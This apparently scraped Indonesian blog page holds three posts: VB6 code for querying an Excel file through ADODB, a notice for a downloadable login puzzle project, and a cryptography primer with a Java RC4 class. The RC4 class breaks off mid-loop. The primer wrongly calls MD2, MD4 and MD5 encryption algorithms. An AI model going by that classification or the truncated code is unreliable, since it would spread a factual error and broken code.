Mungkin anda pernah membuat suatu data dari excell dan anda merasa ga mau meninggal excell untuk pindah ke access, sedangkan anda hanya bisa menggunakan database access untuk diterapkan di Pemrogram pakai Visual basic 6.0. sehingga akan mengconverter data anda dari excell ke access. Gimana kalau nanti mau ke excell lagi wah di convert lagi deh tu data. hehehe enak juga ya tu data di pindah-pindah.
Tapi anda bisa menggunakan database dari data excell data untuk bisa dipanggil melalui Visual Basic sehingga anda tidak usah cari konverter.
Oke langsung aja akan ku tulisan source codenya

Ini Source codenya

Dim cn As ADODB.Connection
Dim rs As ADODB.Recordset

Option Explicit

Private Sub Command1_Click()

Set rs = New ADODB.Recordset
'--- mengambil data dari member
rs.Open "SELECT * FROM [Members$] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs


End Sub



Private Sub Command2_Click()

Set rs = New ADODB.Recordset

'--- mengambil data dari excel dari tab salary
rs.Open "SELECT * FROM [Salary$A1:B2] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs

End Sub



Private Sub Form_Load()

On Error GoTo ErrHandler
Set cn = New ADODB.Connection

' -- provider koneksi
cn.Provider = "Microsoft.Jet.OLEDB.4.0"

'--- membuat koneksi file excell
'---dari Excel 97/2000/2002 atau Excel 8.0
'--- dari Excel 95 atau Excel 5.0
cn.ConnectionString = _
"Data Source= " & App.Path & "/Book1.xls;" & _
"Extended Properties=Excel 8.0;"
cn.CursorLocation = adUseClient
cn.Open

Exit Sub
ErrHandler:
MsgBox "Tidak ada koneksi yang terjadi"
End Sub

Private Sub Command3_Click()
MsgBox "Contoh Koneksi Database Excell", vbInformation, ""
End
End Sub

Silahkan aja kamu pelajari.

Semoga dapat membantu.

Sak teruse....

Readmore...

Back...

Ni source code aku dikirimi oleh teman chat yang diperuntukan untuk melatih kita bermain dengan logika. Source code ini menggunakan database dengan MS Access. emang sengaja database bisa dibuka karena tidak di password dan di sertakan dengan source code visual basicnya agar orang bisa melihat logikanya. Tapi untuk dapat memecahkan gimana cara masuknya akan memakan waktu yang sedikit lama. Source code dibuat oleh Yudz (me.yudz@gmail.com). bagi teman-teman atau yang membaca dan ingin mencobanya silahkan aja donlot source codenya. dan kalau bisa memecahkannya silahkan kirim email ke aku atau ke yang buat source code. karena aku butuh waktu 15 menit untuk memecahkan cara masuknya. tidak boleh merubah source codenya ya......

Langsung aja silahkan aja anda donlot projectnya. Klik disini
Selamat berpusing-pusing ria.

Sak teruse....

Readmore...

Back...

Ketika internet menjadi salah satu media komunikasi yang banyak digunakan orang, sebagian orang kemudian berpikir untuk menjadikanya sebagai media untuk transaksi komersial semacan internet banking, e-comerce, dan lain sebagainya. Kebutuhan akan hal itu kemudian didukung dengan lahirnya berbagai metode ataupun algoritma – algoritma enkripsi untuk pengamanan data misalnya MD2,MD4,MD5,RC4,RC5, dan lain sebagainya. Pembakuan penulisan pada kriptografi dapat ditulis dalam bahasa matematika. Fungsi-fungsi yang mendasar dalam kriptografi adalah enkripsi dan dekripsi. Enkripsi adalah proses mengubah suatu pesan asli (plaintext) menjadi suatu pesan dalam bahasa sandi (ciphertext).

C = E (M)

dimana

M = pesan asli
E = proses enkripsi
C = pesan dalam bahasa sandi (untuk ringkasnya disebut sandi)

Sedangkan dekripsi adalah proses mengubah pesan dalam suatu bahasa sandi menjadi pesan asli kembali.

M = D (C)
D = proses dekripsi

Dalam setiap transaksi di internet , idealnya, setiap data yang ditransmisikan harusnya terjamin :

• Integritas data

Jaminan integritas data sangat penting, sehingga data yang di kirimkan akan sama persis dengan data yang diterima, tanpa mengalami perubahan apapun pada selama ditransmisikan.

• Kerahasiaan data

Jaminan kerahasiaan data juga penting karena dengan demikian tidak ada pihak lain yang bisa membaca data yang ada selama data tersebut ditransmisikan.

• Otentikasi akse data

Mekanisme otentikasi akses data menjamin bahwa data ditransmisikan oleh pihak yang benar dengan tujuan transimisi yang benar pula.

Teknik kriptografi data untuk enkripsi ada dua macam yaitu:

• Kriptografi simetrik

Dengan model kriptografi ini, data di enkripsi dan didekripsi dengan kunci rahasia yang sama.

• Kriptografi asimetrik

Dengan model kriptografi ini, data dienkripsi dan didekripsi dengan kunci rahasia yang berbeda.pasangan kunci untuk enkripsi dan dekripsi dikenal dengan private key dan public key.

Gbr-1. Metode enkripsi simetrik (1) dan asimetrik (2)

Aplikasi kriptografi simetrik RC4 menggunakan Java

RC4 merupakan merupakan salah satu jenis stream cipher, yaitu memproses unit atau input data pada satu saat. Dengan cara ini enkripsi atau dekripsi dapat dilaksanakan pada panjang yang variabel. Algoritma ini tidak harus menunggu sejumlah input data tertentu sebelum diproses, atau menambahkan byte tambahan untuk mengenkrip. Metode enkripsi RC4 sangat cepat kurang lebih 10 kali lebih cepat dari DES.

Untuk melihat bagaimana metode enlripsi RC4 bekerja maka dalam tulisan ini dibuat aplikasi dengan menggunakan java, adapun source program tersebut adalah sebagai berikut :

Nama file : RC4Engine.java

—————-mulai—————-

class KeyParameter{

private byte[] key;

public KeyParameter(byte[] key){

this(key,0,key.length);

}

public KeyParameter(byte[] key,int keyoff,int keyLen){

this.key = new byte[keyLen];

System.arraycopy(key,keyoff,this.key,0,keyLen);

}

public byte[] getKey(){

return key;

}

}

class EncRC4Engine{

private final static int STATE_LENGTH = 256;

private byte[] engineState = null,workingKey = null;

private int x=0,y=0;

private static final char[] kDigits = {’0′,’1′,’2′,’3′,’4′,’5′,’6′,’7′,’8′,’9′,’a’,’b’,’c’,’d’,’e’,’f’};

EncRC4Engine(){}//constructor

public void init(boolean forEncryption,KeyParameter params){

if(params instanceof KeyParameter){

workingKey = ((KeyParameter)params).getKey();

setKey(workingKey);

return;

}

throw new IllegalArgumentException(”invalid parameter passed to RC4 init”+params.getClass().getName());

}

public void processBytes(byte[] in,int inOff,int len,byte[] out,int outOff){

if((inOff+len)>in.length){

throw new RuntimeException(”output buffer too short”);

}

if((outOff+len)>out.length){

throw new RuntimeException(”out put buffer too short”);

}

for (int i = 0 ; i <>

Readmore...

Back...